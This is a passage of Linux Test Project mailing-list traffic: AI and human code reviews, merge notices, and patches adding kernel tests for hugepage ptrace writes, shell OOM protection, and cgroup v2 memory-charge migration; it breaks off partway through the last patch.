Could the device number be obtained from stat(dev2).st_rdev instead?

tst_find_free_loopdev() also supports /dev/loop/N and /dev/block/loopN.
Those paths produce loop/N or block/loopN here, causing the test to read a
nonexistent sysfs path and terminate with TBROK.

> +	SAFE_MKFS(dev0, tst_device->fs_type, mkfs_opts_set_journal_dev1, NULL);
> +}
> +
> +static void run(void)
> +{
> +	...
> +	TEST(fsconfig(fd, FSCONFIG_SET_PATH, "journal_path", dev2, 0));

Could each iteration reset dev0 to dev1 or alternate the source and target
journal devices?

The first iteration persists dev2 in dev0's superblock. Every subsequent
-i iteration requests dev2 again, so it no longer exercises a dynamic
journal-device change.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From li.wang@linux.dev  Tue Aug  4 03:12:33 2026
From: li.wang@linux.dev (Li Wang)
Date: Tue, 4 Aug 2026 09:12:33 +0800
Subject: [LTP] [PATCH v2 1/1] MAINTAINERS: Add IRC and patchwork for LTP
In-Reply-To: <20260803115821.238704-1-pvorel@suse.cz>
References: <20260803115821.238704-1-pvorel@suse.cz>
Message-ID: <anE7o-2xAPRBGSaV@linux.dev>

Reviewed-by: Li Wang <li.wang@linux.dev>

-- 
Regards,
Li Wang

From li.wang@linux.dev  Tue Aug  4 05:58:33 2026
From: li.wang@linux.dev (Li Wang)
Date: Tue, 4 Aug 2026 11:58:33 +0800
Subject: [LTP] [PATCH v2] lib: Use backoff polling to wait for loop
 device nodes
In-Reply-To: <20260804015905.74573-1-wakel@google.com>
References: <20260803152754.3991113-1-wakel@google.com>
 <20260804015905.74573-1-wakel@google.com>
Message-ID: <anFjaQ--3q38-psW@linux.dev>

Hi Wake,

Wake Liu via ltp wrote:

> From: Wake Liu via ltp <ltp@lists.linux.it>
> 
> On systems where loop device node creation is asynchronous (such as Android
> containers or systems with slow udev startup), calling stat() or open()
> immediately after LOOP_CTL_GET_FREE can transiently fail because the
> device file (e.g. /dev/loopX) has not been fully populated in time.
> 
> Introduce an exponential-backoff retry loop in both
> tst_find_free_loopdev() and tst_attach_device() (starting at 1ms delay,
> doubling each try, capped at 100ms) to wait for the device node to be
> successfully populated.
> 
> This improves the robustness of loop device allocations on asynchronous
> virtualized environments while minimizing unnecessary delays on responsive
> systems.
> 
> Link: https://lore.kernel.org/ltp/20260803152754.3991113-1-wakel@google.com/
> Signed-off-by: Wake Liu <wakel@google.com>
> ---
> v1 -> v2:
>  - Strictly clamp backoff delay to 100ms (prevent overflow exceeding cap).
>  - Skip usleep on final loop iteration to avoid unnecessary idle delay.
>  - Reduce max attempts to 30 (stat) and 15 (open) to bound worst-case timeout.
> 
>  lib/tst_device.c | 32 +++++++++++++++++++++++++++-----
> 
> diff --git a/lib/tst_device.c b/lib/tst_device.c
> index 744173ffef..19e1a8a25c 100644
> --- a/lib/tst_device.c
> +++ b/lib/tst_device.c
> @@ -82,7 +82,7 @@ static int set_dev_loop_path(int rc, char *path, size_t path_len)
>  
>  int tst_find_free_loopdev(char *path, size_t path_len)
>  {
> -	int ctl_fd, dev_fd, rc, i;
> +	int ctl_fd, dev_fd, rc, i, path_set;
>  	struct loop_info loopinfo;
>  	char buf[PATH_MAX];
>  
> @@ -94,8 +94,18 @@ int tst_find_free_loopdev(char *path, size_t path_len)
>  		if (rc >= 0) {
>  			if (path) {
> -				if (set_dev_loop_path(rc, path, path_len))
> -					tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc);
> +				unsigned int usec = 1000; /* start with 1ms */
> +
> +				for (i = 0; i < 30; i++) {
> +					path_set = set_dev_loop_path(rc, path, path_len);
> +					if (!path_set)
> +						break;
> +					if (i < 29) {
> +						usleep(usec);
> +						usec = usec * 2 < 100000 ? usec * 2 : 100000;
> +					}
> +				}

LTP has already provided the exponential-backoff macro in tst_common.h

  TST_RETRY_FN_EXP_BACKOFF()

Maybe you can reuse it directly?

-- 
Regards,
Li Wang

From li.wang@linux.dev  Tue Aug  4 07:33:09 2026
From: li.wang@linux.dev (Li Wang)
Date: Tue, 4 Aug 2026 13:33:09 +0800
Subject: [LTP] [RFC] Re: lib: Rename function check_kver() =>
 check_min_kver()
In-Reply-To: <20260803130645.GA246496@pevik>
References: <20260731124232.GB196217@pevik>
 <6a6c98c6.3c943127.1c122.1c09@mx.google.com>
 <20260803130645.GA246496@pevik>
Message-ID: <anF5lV_yjqn8OuVE@linux.dev>

Petr Vorel wrote:

> Hi all,
> 
> > > In that case we want to have both in a single commit, right?
> > > => yet another version.
> 
> > Yes, I think so
> 
> I'm not sure what's reasonable, therefore RFC please.
> 
> We can for sure can have test with both flags, .min_kver < .max_kver:
> 
> .min_kver = "6.5"
> .max_kver = "7.2"
> 
> which will be tested on kernels <6.5, 7.2> (including all their stable
> versions). Here the code works like (using AND):
> 
> $(uname -r) >= .min_kver && $(uname -r) <= .max_kver

This above is no porblem.


> (BTW although current version prints only the version which is not sufficient.
> And I think it's better than print the range without specifying which version is
> not sufficient).
> 
> But can we have also a variant when .min_kver > .max_kver (using OR)?

No, please don't do this :).

When I see:

	.min_kver = "7.2",
	.max_kver = "6.10",

my first assumption would be that the metadata is wrong,
not that it means:

	kver >= 7.2 || kver <= 6.10

So this could easily hide real mistakes. If somebody accidentally
swaps the two values, the framework would silently accept it and
run the test on a different set of kernels instead of reporting
an invalid range.

I think .min_kver/.max_kver should keep simple AND semantics only,
and .min_kver > .max_kver should be rejected, or at least reported
as broken test metadata.

If we really need to express "run on old kernels and new kernels,
but skip a broken middle range", I think it would be better to handle
that explicitly in the test code. That would be a bit more verbose,
but much easier to read and review.

> .max_kver = "6.10"
> .min_kver = "7.2"
> 
> i.e it will be tested on <whatever_minimum_LTP is, 6.10> <7.2, future versions>:
> 
> $(uname -r) <= .max_kver || $(uname -r) >= .min_kver

-- 
Regards,
Li Wang

From li.wang@linux.dev  Tue Aug  4 08:15:07 2026
From: li.wang@linux.dev (Li Wang)
Date: Tue, 4 Aug 2026 14:15:07 +0800
Subject: [LTP] [RFC] Re: lib: Rename function check_kver() =>
 check_min_kver()
In-Reply-To: <anF5lV_yjqn8OuVE@linux.dev>
References: <20260731124232.GB196217@pevik>
 <6a6c98c6.3c943127.1c122.1c09@mx.google.com>
 <20260803130645.GA246496@pevik> <anF5lV_yjqn8OuVE@linux.dev>
Message-ID: <anGDa2dL19wKNtf6@linux.dev>

On Tue, Aug 04, 2026 at 01:33:09PM +0800, Li Wang wrote:
> Petr Vorel wrote:
> 
> > Hi all,
> > 
> > > > In that case we want to have both in a single commit, right?
> > > > => yet another version.
> > 
> > > Yes, I think so
> > 
> > I'm not sure what's reasonable, therefore RFC please.
> > 
> > We can for sure can have test with both flags, .min_kver < .max_kver:
> > 
> > .min_kver = "6.5"
> > .max_kver = "7.2"
> > 
> > which will be tested on kernels <6.5, 7.2> (including all their stable
> > versions). Here the code works like (using AND):
> > 
> > $(uname -r) >= .min_kver && $(uname -r) <= .max_kver
> 
> This above is no porblem.
> 
> 
> > (BTW although current version prints only the version which is not sufficient.
> > And I think it's better than print the range without specifying which version is
> > not sufficient).
> > 
> > But can we have also a variant when .min_kver > .max_kver (using OR)?
> 
> No, please don't do this :).
> 
> When I see:
> 
> 	.min_kver = "7.2",
> 	.max_kver = "6.10",
> 
> my first assumption would be that the metadata is wrong,
> not that it means:
> 
> 	kver >= 7.2 || kver <= 6.10
> 
> So this could easily hide real mistakes. If somebody accidentally
> swaps the two values, the framework would silently accept it and
> run the test on a different set of kernels instead of reporting
> an invalid range.
> 
> I think .min_kver/.max_kver should keep simple AND semantics only,
> and .min_kver > .max_kver should be rejected, or at least reported
> as broken test metadata.
> 
> If we really need to express "run on old kernels and new kernels,
> but skip a broken middle range", I think it would be better to handle
> that explicitly in the test code. That would be a bit more verbose,
> but much easier to read and review.

Or, we could achive something simply:

    .supported_kvers = {
            "<= 6.10",
            ">= 7.2",
    },

But I don't think there is currently a strong demand for this.

-- 
Regards,
Li Wang

From andrea.cervesato@suse.com  Tue Aug  4 09:18:51 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Tue, 04 Aug 2026 07:18:51 +0000
Subject: [LTP] [PATCH v2 1/1] MAINTAINERS: Add IRC and patchwork for LTP
In-Reply-To: <20260803115821.238704-1-pvorel@suse.cz>
Message-ID: <6a71925c.159d33f9.a396c.4a37@mx.google.com>

Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Tue Aug  4 09:34:04 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Tue, 04 Aug 2026 07:34:04 +0000
Subject: [LTP] [PATCH v2] landlock08: add UDP bind/connect test variants
In-Reply-To: <20260701-landlock_udp-v2-1-b1a2c71be093@suse.com>
Message-ID: <6a7195ec.9e856a68.164ac9.fa9c@mx.google.com>

Merged, Thanks!

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Tue Aug  4 09:35:42 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Tue, 04 Aug 2026 07:35:42 +0000
Subject: [LTP] [PATCH v10] connect03: New test case for EPROTOTYPE and
 EACCES errors
In-Reply-To: <20260710051323.26430-1-wegao@suse.com>
Message-ID: <6a71964f.55395e76.2a249e.a321@mx.google.com>

Merged, Thanks!

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Tue Aug  4 09:39:50 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Tue, 04 Aug 2026 07:39:50 +0000
Subject: [LTP] lapi/prctl: add more fallback definitions
In-Reply-To: <20260803143824.9095-1-linuxtestproject.agent@gmail.com>
Message-ID: <6a719746.c69142e7.53fee.2bc3@mx.google.com>

> > +#if !(HAVE_STRUCT_PRCTL_MM_MAP) && !defined(PR_SET_MM_MAP)
> 
> Could this struct guard depend only on HAVE_STRUCT_PRCTL_MM_MAP?
> 
> PR_SET_MM_MAP is defined immediately above, so !defined(PR_SET_MM_MAP) is
> always false here. Systems missing struct prctl_mm_map therefore skip the
> fallback even when HAVE_STRUCT_PRCTL_MM_MAP is false, and the second patch
> cannot compile there.

I'm having issues with this, since it seems struct prctl_mm_map gate it not
enough to ensure fallback is not replicating the original one.

> > +	SAFE_PRCTL(PR_SET_MM, PR_SET_MM_MAP_SIZE, (unsigned long)&sz, 0, 0);
> 
> Could this test set .min_kver = "3.18", or report TCONF when this operation
> is unavailable?

We don't support this kernel. Agent is going really deep with this, so I
guess I need to add a rule to avoid checking for versions below 4.4.

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From chrubis@suse.cz  Tue Aug  4 10:46:58 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Tue, 4 Aug 2026 10:46:58 +0200
Subject: [LTP] [PATCH] hugemmap/hugemmap41: Migrate
 ptrace-write-hugepage from libhugetlbfs
In-Reply-To: <20260717180533.1203314-1-pavrampu@linux.ibm.com>
References: <20260717180533.1203314-1-pavrampu@linux.ibm.com>
Message-ID: <anGnAn9tl9WHQB_f@yuki.lan>

Hi!
> Signed-off-by: Pavithra <pavrampu@linux.ibm.com>
> ---
>  runtest/hugetlb                               |   1 +
>  testcases/kernel/mem/.gitignore               |   1 +
>  .../kernel/mem/hugetlb/hugemmap/hugemmap41.c  | 147 ++++++++++++++++++
>  3 files changed, 149 insertions(+)
>  create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c
> 
> diff --git a/runtest/hugetlb b/runtest/hugetlb
> index 8ee0e6f82..32412ed45 100644
> --- a/runtest/hugetlb
> +++ b/runtest/hugetlb
> @@ -37,6 +37,7 @@ hugemmap31 hugemmap31
>  hugemmap32 hugemmap32
>  hugemmap34 hugemmap34
>  hugemmap35 hugemmap35
> +hugemmap41 hugemmap41
>  hugemmap05_1 hugemmap05 -m
>  hugemmap05_2 hugemmap05 -s
>  hugemmap05_3 hugemmap05 -s -m
> diff --git a/testcases/kernel/mem/.gitignore b/testcases/kernel/mem/.gitignore
> index 0e59035df..29eb83d16 100644
> --- a/testcases/kernel/mem/.gitignore
> +++ b/testcases/kernel/mem/.gitignore
> @@ -37,6 +37,7 @@
>  /hugetlb/hugemmap/hugemmap32
>  /hugetlb/hugemmap/hugemmap34
>  /hugetlb/hugemmap/hugemmap35
> +/hugetlb/hugemmap/hugemmap41
>  /hugetlb/hugeshmat/hugeshmat01
>  /hugetlb/hugeshmat/hugeshmat02
>  /hugetlb/hugeshmat/hugeshmat03
> diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c
> new file mode 100644
> index 000000000..0fbe7b448
> --- /dev/null
> +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c
> @@ -0,0 +1,147 @@
> +// SPDX-License-Identifier: GPL-2.0-or-later
> +/*
> + * Copyright (C) 2005-2006 David Gibson & Adam Litke, IBM Corporation.
> + * Copyright (c) 2026 Pavithra <pavrampu@linux.ibm.com>
> + */
> +
> +/*\
> + * Test :manpage:`ptrace(2)` write to hugepage memory.
> + *
> + * A child process maps a hugepage via hugetlbfs, zeroes it, and sends
> + * the mapped address to the parent. The parent attaches with
> + * :manpage:`ptrace(2)`, then uses PTRACE_POKEDATA and PTRACE_PEEKDATA
> + * to write and read back a known value at two different offsets within
> + * the hugepage, verifying that ptrace operates correctly on
> + * hugepage-backed memory regions.
> + *
> + * Requires root to mount hugetlbfs and for :manpage:`ptrace(2)`
> + * PTRACE_ATTACH to work across processes when ptrace_scope is
> + * restrictive.
> + */
> +
> +#include <stdlib.h>
> +#include <string.h>
> +#include <sys/mman.h>
> +#include <sys/ptrace.h>
> +#include <sys/types.h>
> +#include <sys/wait.h>
> +
> +#include "tst_test.h"
> +#include "hugetlb.h"
> +
> +#define CONST	0xdeadbeefL
> +#define MNTPOINT "hugetlbfs/"
> +
> +static long hpage_size;
> +static int fd = -1;
> +
> +static void child(int hugefd, int pipefd[2])
> +{
> +	void *p;
> +
> +	SAFE_CLOSE(pipefd[0]);
> +
> +	p = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED,
> +		      hugefd, 0);
> +
> +	memset(p, 0, hpage_size);
> +
> +	tst_res(TINFO, "Child mapped data at %p", p);
> +
> +	SAFE_WRITE(SAFE_WRITE_ALL, pipefd[1], &p, sizeof(p));
> +	SAFE_CLOSE(pipefd[1]);
> +
> +	pause();
> +	/* Child is killed by parent via SIGKILL, so cleanup is not reached */
> +}
> +
> +static void do_poke(pid_t pid, void *p)
> +{
> +	tst_res(TINFO, "Poking at %p...", p);
> +	TEST(ptrace(PTRACE_POKEDATA, pid, p, (void *)CONST));
> +	if (TST_RET != 0)
> +		tst_brk(TFAIL | TTERRNO, "ptrace(POKEDATA) failed");

We have SAFE_PTRACE() make use of that.

> +	tst_res(TINFO, "Peeking at %p...", p);
> +	errno = 0;

No need to clear errno, the TEST() macro does that.

> +	TEST(ptrace(PTRACE_PEEKDATA, pid, p, NULL));
> +	if (TST_RET == -1 && TST_ERR)
> +		tst_brk(TFAIL | TTERRNO, "ptrace(PEEKDATA) failed");

Here as well.

> +	if (TST_RET != CONST)
> +		tst_brk(TFAIL, "Value mismatch: got %lx, expected %lx",
> +			TST_RET, CONST);

This can be TST_EXP_EQ_LI()

> +}
> +
> +static void run_test(void)
> +{
> +	int pipefd[2];
> +	pid_t cpid;
> +	void *p;
> +	int status;
> +
> +	fd = tst_creat_unlinked(MNTPOINT, 0, 0600);
> +
> +	SAFE_PIPE(pipefd);
> +
> +	cpid = SAFE_FORK();
> +
> +	if (cpid == 0) {
> +		child(fd, pipefd);
> +		exit(0);
> +	}
> +
> +	/* Parent */

Please bo comments commenting the obvious like this one.

> +	SAFE_CLOSE(pipefd[1]);
> +	SAFE_READ(1, pipefd[0], &p, sizeof(p));
> +	SAFE_CLOSE(pipefd[0]);
> +
> +	tst_res(TINFO, "Parent received address %p", p);
> +
> +	if (ptrace(PTRACE_ATTACH, cpid, NULL, NULL)) {
> +		if (errno == EPERM)
> +			tst_brk(TCONF | TERRNO, "ptrace(ATTACH) not permitted (check /proc/sys/kernel/yama/ptrace_scope)");
> +		tst_brk(TBROK | TERRNO, "ptrace(ATTACH) failed");
> +	}

This should be just SAFE_PTRACE() if we need to check for EPERM because
of security checks it should be done, in a separate patch, in
tst_safe_ptrace() instead.

> +	TST_PROCESS_STATE_WAIT(cpid, 't', 0);

The more canonical way is to SAFE_WAITPID() and check for WIFSTOPPED().

> +	do_poke(cpid, p);
> +	do_poke(cpid, p + getpagesize());
> +
> +	SAFE_KILL(cpid, SIGKILL);
> +	SAFE_WAITPID(cpid, &status, 0);
> +
> +	if (fd != -1) {
> +		SAFE_CLOSE(fd);
> +		fd = -1;
> +	}

This should be just SAFE_CLOSE(fd)

- we cannot get here if the fd == -1 since the tst_create_unlinked()
  exits the test on a failure

- the fd is set to -1 by SAFE_CLOSE() macro.

> +	tst_res(TPASS, "ptrace write to hugepage succeeded");
> +}
> +
> +static void setup(void)
> +{
> +	hpage_size = tst_get_hugepage_size();
> +}
> +
> +static void cleanup(void)
> +{
> +	if (fd != -1)
> +		SAFE_CLOSE(fd);
> +}
> +
> +static struct tst_test test = {
> +	.tags = (struct tst_tag[]) {
> +		{"linux-git", "ebed4bfc8da8"},
> +		{}
> +	},
> +	.needs_root = 1,
> +	.mntpoint = MNTPOINT,
> +	.needs_hugetlbfs = 1,
> +	.hugepages = {4, TST_NEEDS},

The test needs just 1 hugepage.

> +	.forks_child = 1,
> +	.setup = setup,
> +	.cleanup = cleanup,
> +	.test_all = run_test,
> +};
> -- 
> 2.55.0
> 
> 
> -- 
> Mailing list info: https://lists.linux.it/listinfo/ltp

-- 
Cyril Hrubis
chrubis@suse.cz

From chrubis@suse.cz  Tue Aug  4 11:19:48 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Tue, 4 Aug 2026 11:19:48 +0200
Subject: [LTP] hugemmap/hugemmap35: migrate libhugetlbfs test
 truncate_reserve_wraparound.c
In-Reply-To: <20260717171553.4066-1-linuxtestproject.agent@gmail.com>
References: <20260717153131.1154339-1-pavrampu@linux.ibm.com>
 <20260717171553.4066-1-linuxtestproject.agent@gmail.com>
Message-ID: <anGutEN7Kb7Y6yVa@yuki.lan>

Hi!
> The subject names test number 35, but the patch adds hugemmap38:

I've fixed that, and also change the hugepage reservation to 1
(.hugepages = {1, TST_NEEDS},) and pushed, thanks.

-- 
Cyril Hrubis
chrubis@suse.cz

From andrea.cervesato@suse.de  Tue Aug  4 11:22:11 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Tue, 04 Aug 2026 11:22:11 +0200
Subject: [LTP] [PATCH v3] shell: enable OOM protection by default
Message-ID: <20260804-shell_oom_protection-v3-1-fe42b15d034c@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add TST_OOM_PROTECTION to activate/deactivate OOM protection in shell
tests. When enabled, the shell harness shields itself from the OOM
killer and runs the test in a child process, so it survives memory
pressure and can still report results (e.g. during memcg stress tests).

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Under Li's idea, implement a OOM protection mechanism for the shell
tests so we can avoid OOM for memcg stress tests.
---
Changes in v3:
- simplify oom code
- enable OOM protection by default
- Link to v2: https://lore.kernel.org/20260730-shell_oom_protection-v2-0-be1de2baa83d@suse.com

Changes in v2:
- update shell OOM protection functional test
- Link to v1: https://lore.kernel.org/20260713-shell_oom_protection-v1-0-b732e8647894@suse.com
---
 doc/developers/writing_tests.rst             |  3 +++
 lib/newlib_tests/runtest.sh                  |  1 +
 lib/newlib_tests/shell/tst_oom_protection.sh | 31 ++++++++++++++++++++++++
 testcases/lib/tst_test.sh                    | 35 +++++++++++++++++++++++++++-
 4 files changed, 69 insertions(+), 1 deletion(-)

diff --git a/doc/developers/writing_tests.rst b/doc/developers/writing_tests.rst
index 4db57898fcf08b83e68be996f666e91c418838fc..2d5bc294083fa2b89212714f0a6c5e5c3f22777a 100644
--- a/doc/developers/writing_tests.rst
+++ b/doc/developers/writing_tests.rst
@@ -549,6 +549,9 @@ LTP C And Shell Test API Comparison
     * - not applicable
       - TST_FS_TYPE
 
+    * - not applicable
+      - TST_OOM_PROTECTION
+
 .. list-table::
     :header-rows: 1
 
diff --git a/lib/newlib_tests/runtest.sh b/lib/newlib_tests/runtest.sh
index 71808ef8b8d5545f52d6014bc070145f952915e9..7e2d0a2ac329fc1d825c2fe0b6f7c09d4f2b0064 100755
--- a/lib/newlib_tests/runtest.sh
+++ b/lib/newlib_tests/runtest.sh
@@ -44,6 +44,7 @@ shell/tst_check_driver.sh
 shell/tst_check_kconfig0[1-5].sh
 shell/tst_mount_device.sh
 shell/tst_mount_device_tmpfs.sh
+shell/tst_oom_protection.sh
 shell/tst_skip_filesystems.sh
 shell/net/*.sh}"
 
diff --git a/lib/newlib_tests/shell/tst_oom_protection.sh b/lib/newlib_tests/shell/tst_oom_protection.sh
new file mode 100755
index 0000000000000000000000000000000000000000..22993511c64845712e4fa9fc942e9869121d7e0b
--- /dev/null
+++ b/lib/newlib_tests/shell/tst_oom_protection.sh
@@ -0,0 +1,31 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2026 Linux Test Project
+
+TST_TESTFUNC=do_test
+
+read_oom_score_adj() {
+	cat "/proc/$1/oom_score_adj" 2>/dev/null
+}
+
+do_test() {
+	local harness_score child_score
+
+	harness_score=$(read_oom_score_adj "$$")
+
+	if [ "$harness_score" = -1000 ]; then
+		tst_res TPASS "shell harness is protected from OOM by default"
+
+		child_score=$(tst_oom_unprotect read_oom_score_adj self)
+		if [ "$child_score" = 0 ]; then
+			tst_res TPASS "unprotected child process has oom_score_adj reset to 0"
+		else
+			tst_res TFAIL "unprotected child process oom_score_adj is $child_score, expected 0"
+		fi
+	else
+		tst_res TCONF "shell harness OOM protection unavailable"
+	fi
+}
+
+. tst_test.sh
+tst_run
diff --git a/testcases/lib/tst_test.sh b/testcases/lib/tst_test.sh
index b3e7e29bbf7b52de4cb65665751005cb4df156a8..70fa19e4dadfdceb92821a02fbce7cf6686d9c4e 100644
--- a/testcases/lib/tst_test.sh
+++ b/testcases/lib/tst_test.sh
@@ -15,6 +15,7 @@ export TST_CONF=0
 export TST_COUNT=1
 export TST_ITERATIONS=1
 export TST_TMPDIR_RHOST=0
+export TST_OOM_PROTECTION="${TST_OOM_PROTECTION:-1}"
 export TST_LIB_LOADED=1
 
 # see testcases/lib/tst_runas.c
@@ -28,6 +29,34 @@ export TST_USR_GID="${LTP_USR_GID:-65534}"
 trap "tst_brk TBROK 'test interrupted'" INT
 trap "unset _tst_setup_timer_pid; tst_brk TBROK 'test terminated'" TERM
 
+_tst_set_oom_score_adj()
+{
+	local value="$1"
+	local path="/proc/self/oom_score_adj"
+
+	[ -e "$path" ] || return 0
+
+	echo "$value" > "$path" 2>/dev/null || return 0
+}
+
+_tst_enable_oom_protection()
+{
+	_tst_set_oom_score_adj -1000
+}
+
+_tst_disable_oom_protection()
+{
+	_tst_set_oom_score_adj 0
+}
+
+tst_oom_unprotect()
+{
+	_tst_disable_oom_protection
+	if [ $# -gt 0 ]; then
+		"$@"
+	fi
+}
+
 _tst_do_cleanup()
 {
 	if [ -n "$TST_DO_CLEANUP" -a -n "$TST_CLEANUP" -a -z "$LTP_NO_CLEANUP" ]; then
@@ -681,12 +710,16 @@ tst_run()
 	local _tst_pattern='[='\''"} \t\/:`$\;|].*'
 	local ret
 
+	if [ "$TST_OOM_PROTECTION" = 1 ]; then
+		_tst_enable_oom_protection
+	fi
+
 	if [ -n "$TST_TEST_PATH" ]; then
 		for _tst_i in $(grep '^[^#]*\<TST_' "$TST_TEST_PATH" | sed "s/.*TST_//; s/$_tst_pattern//"); do
 			case "$_tst_i" in
 			ALL_FILESYSTEMS|DISABLE_APPARMOR|DISABLE_SELINUX);;
 			SETUP|CLEANUP|TESTFUNC|ID|CNT|MIN_KVER);;
-			OPTS|USAGE|PARSE_ARGS|POS_ARGS);;
+			OPTS|USAGE|PARSE_ARGS|POS_ARGS|OOM_PROTECTION);;
 			NEEDS_ROOT|NEEDS_TMPDIR|TMPDIR|NEEDS_DEVICE|DEVICE);;
 			NEEDS_CMDS|NEEDS_MODULE|MODPATH|DATAROOT);;
 			NEEDS_DRIVERS|FS_TYPE|MNTPOINT|MNT_PARAMS);;

---
base-commit: 51f722d233efa06304b1d178e24a01048cf80f10
change-id: 20260713-shell_oom_protection-6221ab825220

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


From andrea.cervesato@suse.com  Tue Aug  4 11:25:42 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Tue, 04 Aug 2026 09:25:42 +0000
Subject: [LTP] [PATCH v3] shell: enable OOM protection by default
In-Reply-To: <20260804-shell_oom_protection-v3-1-fe42b15d034c@suse.com>
Message-ID: <6a71b016.fe7f0a4c.2781b4.8b2f@mx.google.com>

Hi Li, Petr,

I updated the patch and simplified it a bit. Maybe I missed something,
but it looks good enough now. Let me know if you still have some
feedbacks. It's somehow a new v1  :-)

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From pavrampu@linux.ibm.com  Tue Aug  4 11:59:25 2026
From: pavrampu@linux.ibm.com (Pavithra)
Date: Tue,  4 Aug 2026 15:29:25 +0530
Subject: [LTP] [PATCH] memcg/memcontrol05: add cgroup v2 task migration
 charge accounting test
Message-ID: <20260804095925.495813-1-pavrampu@linux.ibm.com>

Verify that in cgroup v2, memory charges remain pinned to the cgroup
that allocated them when a task migrates, and that new allocations after
migration are charged to the destination cgroup.

Signed-off-by: Pavithra <pavrampu@linux.ibm.com>
---
 runtest/controllers                           |   1 +
 testcases/kernel/controllers/memcg/.gitignore |   1 +
 .../kernel/controllers/memcg/memcontrol05.c   | 160 ++++++++++++++++++
 3 files changed, 162 insertions(+)
 create mode 100644 testcases/kernel/controllers/memcg/memcontrol05.c

diff --git a/runtest/controllers b/runtest/controllers
index 93c52c439..a9050ef0e 100644
--- a/runtest/controllers
+++ b/runtest/controllers
@@ -24,6 +24,7 @@ memcontrol01 memcontrol01
 memcontrol02 memcontrol02
 memcontrol03 memcontrol03
 memcontrol04 memcontrol04
+memcontrol05 memcontrol05
 
 cgroup_fj_function_debug cgroup_fj_function.sh debug
 cgroup_fj_function_cpuset cgroup_fj_function.sh cpuset
diff --git a/testcases/kernel/controllers/memcg/.gitignore b/testcases/kernel/controllers/memcg/.gitignore
index 3883cede6..8b9f6005c 100644
--- a/testcases/kernel/controllers/memcg/.gitignore
+++ b/testcases/kernel/controllers/memcg/.gitignore
@@ -9,3 +9,4 @@ memcontrol01
 memcontrol02
 memcontrol03
 memcontrol04
+memcontrol05
diff --git a/testcases/kernel/controllers/memcg/memcontrol05.c b/testcases/kernel/controllers/memcg/memcontrol05.c
new file mode 100644
index 000000000..96621c478
--- /dev/null
+++ b/testcases/kernel/controllers/memcg/memcontrol05.c
@@ -0,0 +1,160 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * Copyright (c) 2026 IBM
+ * Author : Pavithra <pavrampu@linux.ibm.com>
+ */
+
+/*\
+ * Origin: testcases/kernel/controllers/memctl/memctl_testplan.txt
+ * Verify memory controller charge accounting during task migration.
+ *
+ * Two child cgroups (group_a, group_b) are created under the test cgroup.
+ * A worker process is placed in group_a and allocates a known amount of
+ * anonymous memory, touching every page to ensure physical allocation.
+ *
+ * Test 1 - No charge transfer on migration:
+ *   The worker is migrated to group_b by writing its PID to
+ *   group_b/cgroup.procs. In cgroup v2 memory charges are never
+ *   transferred on task migration; they remain pinned to the cgroup
+ *   that allocated them. group_b/memory.current must not increase
+ *   beyond its baseline after the migration.
+ *
+ * Test 2 - New allocations charged to destination cgroup:
+ *   After migration the worker allocates an additional chunk of memory.
+ *   This new allocation must be charged to group_b, so
+ *   group_b/memory.current must increase from the post-migration
+ *   baseline.
+ */
+
+#define _GNU_SOURCE
+
+#include <stdbool.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include "tst_test.h"
+#include "memcontrol_common.h"
+
+#define ALLOC_SIZE	MB(60)
+#define ALLOC_SIZE2	MB(20)
+
+enum checkpoints {
+	WORKER_ALLOC_DONE,
+	WORKER_RESUME,
+	WORKER_ALLOC2_DONE,
+	WORKER_EXIT,
+};
+
+static struct tst_cg_group *group_a;
+static struct tst_cg_group *group_b;
+static bool worker_resumed;
+
+static void worker(void)
+{
+	char *buf1, *buf2;
+
+	SAFE_CG_PRINTF(group_a, "cgroup.procs", "%d", getpid());
+
+	buf1 = SAFE_MMAP(NULL, ALLOC_SIZE, PROT_READ | PROT_WRITE,
+			 MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
+
+	TST_CHECKPOINT_WAKE(WORKER_ALLOC_DONE);
+
+	TST_CHECKPOINT_WAIT(WORKER_RESUME);
+
+	buf2 = SAFE_MMAP(NULL, ALLOC_SIZE2, PROT_READ | PROT_WRITE,
+			 MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
+
+	TST_CHECKPOINT_WAKE(WORKER_ALLOC2_DONE);
+
+	TST_CHECKPOINT_WAIT(WORKER_EXIT);
+
+	SAFE_MUNMAP(buf1, ALLOC_SIZE);
+	SAFE_MUNMAP(buf2, ALLOC_SIZE2);
+}
+
+static void test_memcg_task_migration(void)
+{
+	pid_t pid;
